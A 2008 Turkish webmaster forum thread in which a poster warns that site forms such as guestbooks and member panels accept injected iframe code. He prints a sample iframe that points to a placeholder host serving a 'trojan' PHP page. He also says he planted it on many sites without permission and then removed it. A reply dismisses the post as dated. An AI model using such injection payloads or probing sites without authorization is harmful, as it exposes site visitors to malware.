• 04-03-2008, 00:00:20
    #1
    Eposta Aktivasyonu Gerekmekte
    Bu mesaj bilgilendirme amaçlıdır.Bu sitedekiler webmaster oldugu icin yazdım.

    son zamanlarda webmasterların belalısı olan iframe kodu nasıl bu kadar hızlı yayıldıgını merak ettim.demek ki bir açık var dedim.bu iframe ftp yada sitedeki form yoluyla bulaşıyor.

    2 gündür üye paneli olan butun sitelere bu kodu yerleştirdim birçogunda kontrol yoktu.daha sonra sildim.


    bu kod eger sitenizde üye paneli,ziyaretçi defteri,mesaj formlarınıza eklenmesi ile çalışıyorsa açık var demektir.

    <iframe src='www.xxx.com/zararlıkod.php?gel=trojan'>acık var</a>

    bu koda javascript ile anasayfanızada enjekte edilebilir.

    bu acıgı biran önce kapatın.yoksa siteniz trojan yuvası olur.


    repler artı yönde olsun
  • 04-03-2008, 00:41:32
    #2
    Eposta Aktivasyonu Gerekmekte
    html kodlarina izin veren site sahipleri r10 da takılmıyorduk yahut o kadar makele security yazilari okuyan adam %100 boyle birsey yapmiyordur zaten.Bilmiyorum ama dostum konun biraz eksik nasil desem eski yani. Bilen Biliyor neyin ne doguracağini yada dogurmus olabileceğini. Birde Repler + yon vs Yakısmamis Sankı :s